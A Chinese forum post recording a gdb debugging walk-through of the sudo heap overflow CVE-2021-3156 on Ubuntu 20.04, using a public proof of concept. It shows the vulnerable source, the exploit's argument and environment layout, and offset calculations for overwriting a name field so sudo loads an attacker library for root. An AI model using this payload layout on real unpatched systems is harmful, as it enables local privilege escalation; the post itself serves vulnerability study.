首页
社区
课程
招聘
在Ubuntu 20.04上调试sudo堆溢出漏洞CVE-2021-3156
发表于: 2021-2-5 12:36 11270

在Ubuntu 20.04上调试sudo堆溢出漏洞CVE-2021-3156

2021-2-5 12:36
11270

在论坛上看到有大佬写了CVE-2021-3156的分析,蹭一下热度。

本文仅记录我对CVE-2021-3156漏洞的调试过程,漏洞分析及利用思路请参考Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156),利用代码请参考blasty/CVE-2021-3156

测试系统为全新的Ubuntu 20.04.1虚拟机,sudo的版本为1.8.31-1ubuntu1。

根据漏洞介绍,此漏洞可以被所有本地用户利用,但是经过测试blasty/CVE-2021-3156只适用于non-sudoers。所以首先新建一个test用户,按照blasty/CVE-2021-3156的介绍编译并运行PoC。可以看到提权成功。接下来的目标就是结合已有资料,通过调试弄清漏洞利用的具体过程。

溢出的原因是在sudo处理命令行参数的时候,转译字符\使while (*from)跳过了后面的\x00Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)里面介绍了3中利用方法,blasty/CVE-2021-3156实现的是3种方法中的第二种,即通过一次堆溢出覆盖了struct service_user中的name字段,从而控制了__libc_dlopen的参数,所以可以加载一个攻击者准备的so库。

为了更好的调试,按照ubuntu wiki中的方法安装符号。

安装好符号表后开始调试,调试时要使用root权限,否则sudoedit会报错(我猜是因为gdb sudo时sudo的suid位不起作用)。

漏洞利用代码做的事情就是准备好环境变量和命令行参数后,通过execve执行sudoedit。先在exec系统调用处断下来,然后用file命令将调试的程序改为sudo,接着在main函数下断点。

main函数断下来之后,可以查看其参数和环境变量,注意命令行参数和环境变量都存储在栈上,而且连续的。

根据Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)的介绍,溢出点在set_cmnd函数,但是目前gdb里面并没有这个符号。分析后发现set_cmnd这个函数在sudoers.so这个库里面,但是当前进程中并没有这个库。

猜测这个库是由dlopen打开的,因此在dlopen下断点,果然看到了dlopen打开sudoers.so,并且set_cmnd的符号出现了。

set_cmnd断下来之后你会发现这个函数被内联了,通过汇编可以看出分配内存是在sudoers_policy_main+771,所以在此处下断点,查看malloc的参数和返回值。可以看到分配内存的大小为0x74,返回值为0x5574f731a350

0x74这个值是三个命令行参数AAAA...AA\ \ BBBB..BB\的长度加上3(每个参数后面有一个空格或null)。根据命令行参数的长度和环境变量的长度,可以算出X/P0P_SH3LLZ_相对0x5574f731a350的偏移是57+55+1+63=176。当前的内容为files,在nss_load_library下断点,再检查0x5618c8419350+176的值为X/P0P_SH3LLZ_,在__libc_dlopen_mode下断点,可以看到进程在打开libnss_X/P0P_SH3LLZ_ .so.2

 
 
 
819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
852             for (size = 0, av = NewArgv + 1; *av; av++)
853                 size += strlen(*av) + 1;
854             if (size == 0 || (user_args = malloc(size)) == NULL) {
...
857             }
858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
864                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
865                     while (*from) {
866                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
867                             from++;
868                         *to++ = *from++;
869                     }
870                     *to++ = ' ';
871                 }
...
884             }
...
886     }
819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
852             for (size = 0, av = NewArgv + 1; *av; av++)
853                 size += strlen(*av) + 1;
854             if (size == 0 || (user_args = malloc(size)) == NULL) {
...
857             }
858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
864                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
865                     while (*from) {
866                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
867                             from++;
868                         *to++ = *from++;
869                     }
870                     *to++ = ' ';
871                 }
...
884             }
...
886     }
 
$ echo "deb http://ddebs.ubuntu.com $(lsb_release -cs) main restricted universe multiverse
> deb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiverse
> deb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse" | \
> sudo tee -a /etc/apt/sources.list.d/ddebs.list
$ echo "deb http://ddebs.ubuntu.com $(lsb_release -cs) main restricted universe multiverse
> deb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiverse
> deb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse" | \
> sudo tee -a /etc/apt/sources.list.d/ddebs.list
$ sudo apt install ubuntu-dbgsym-keyring
$ sudo apt-get update
$ sudo apt-get install sudo-dbgsym=1.8.31-1ubuntu1 # 注意要安装对应的版本
$ sudo apt install ubuntu-dbgsym-keyring
$ sudo apt-get update
$ sudo apt-get install sudo-dbgsym=1.8.31-1ubuntu1 # 注意要安装对应的版本
$ sudo gdb --args ./sudo-hax-me-a-sandwich 1
$ sudo gdb --args ./sudo-hax-me-a-sandwich 1
Reading symbols from ./sudo-hax-me-a-sandwich...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/weizi/src/CVE-2021-3156/sudo-hax-me-a-sandwich 1
 
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
 
using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
process 2604 is executing new program: /usr/bin/sudo
 
Catchpoint 1 (exec'd /usr/bin/sudo), 0x00007f2035ec7100 in ?? () from /lib64/ld-linux-x86-64.so.2
(gdb) file /usr/bin/sudo
A program is being debugged already.
Are you sure you want to change the file? (y or n) y
Load new symbol table from "/usr/bin/sudo"? (y or n) y
Reading symbols from /usr/bin/sudo...
Reading symbols from /usr/lib/debug/.build-id/c4/3faca825a3d0bf3541ed8e7c64262105da86d9.debug...
(gdb) b main
Breakpoint 2 at 0x5574f6222b20: file ../../src/sudo.c, line 136.
(gdb) c
Continuing.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
 
Breakpoint 2, main (argc=5, argv=0x7ffc20a88cf8, envp=0x7ffc20a88d28) at ../../src/sudo.c:136
136    ../../src/sudo.c: No such file or directory.
Reading symbols from ./sudo-hax-me-a-sandwich...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/weizi/src/CVE-2021-3156/sudo-hax-me-a-sandwich 1
 
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
 
using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
process 2604 is executing new program: /usr/bin/sudo
 
Catchpoint 1 (exec'd /usr/bin/sudo), 0x00007f2035ec7100 in ?? () from /lib64/ld-linux-x86-64.so.2
(gdb) file /usr/bin/sudo
A program is being debugged already.
Are you sure you want to change the file? (y or n) y
Load new symbol table from "/usr/bin/sudo"? (y or n) y
Reading symbols from /usr/bin/sudo...
Reading symbols from /usr/lib/debug/.build-id/c4/3faca825a3d0bf3541ed8e7c64262105da86d9.debug...
(gdb) b main
Breakpoint 2 at 0x5574f6222b20: file ../../src/sudo.c, line 136.
(gdb) c
Continuing.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
 
Breakpoint 2, main (argc=5, argv=0x7ffc20a88cf8, envp=0x7ffc20a88d28) at ../../src/sudo.c:136
136    ../../src/sudo.c: No such file or directory.
(gdb) p argv[0]
$1 = 0x7ffc20a8adf6 "sudoedit"
(gdb) p argv[1]
$2 = 0x7ffc20a8adff "-s"
(gdb) p argv[2]
$3 = 0x7ffc20a8ae02 'A' <repeats 56 times>, "\\"
(gdb) p argv[3]
$4 = 0x7ffc20a8ae3c "\\"
(gdb) p argv[4]
$5 = 0x7ffc20a8ae3e 'B' <repeats 54 times>, "\\"
(gdb) p envp[0]
$6 = 0x7ffc20a8ae76 "\\"
(gdb) p envp[62]
$7 = 0x7ffc20a8aef2 "\\"
(gdb) p envp[63]
$8 = 0x7ffc20a8aef4 "X/P0P_SH3LLZ_"
(gdb) p envp[64]
$9 = 0x7ffc20a8af02 "LC_ALL=C.UTF-8@", 'C' <repeats 185 times>...
(gdb) p envp[65]
$17 = 0x0
(gdb)
(gdb) p argv[0]
$1 = 0x7ffc20a8adf6 "sudoedit"
(gdb) p argv[1]
$2 = 0x7ffc20a8adff "-s"
(gdb) p argv[2]
$3 = 0x7ffc20a8ae02 'A' <repeats 56 times>, "\\"
(gdb) p argv[3]
$4 = 0x7ffc20a8ae3c "\\"
(gdb) p argv[4]
$5 = 0x7ffc20a8ae3e 'B' <repeats 54 times>, "\\"

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (2)
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
老哥这个版本怎么选择额sudo-dbgsym=1.8.31-1ubuntu1 # 注意要安装对应的版本,我sudo是1.8.21p2, ubuntu是Linux ubuntu 5.4.0-91-generic #102~18.04.1-Ubuntu 
2021-12-14 17:12
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
。。。搞好了我用的是sudo-dbgsym=1.8.21p2-3ubuntu1.4 就能下下来了
2021-12-14 17:16
0
游客
登录 | 注册 方可回帖
返回
//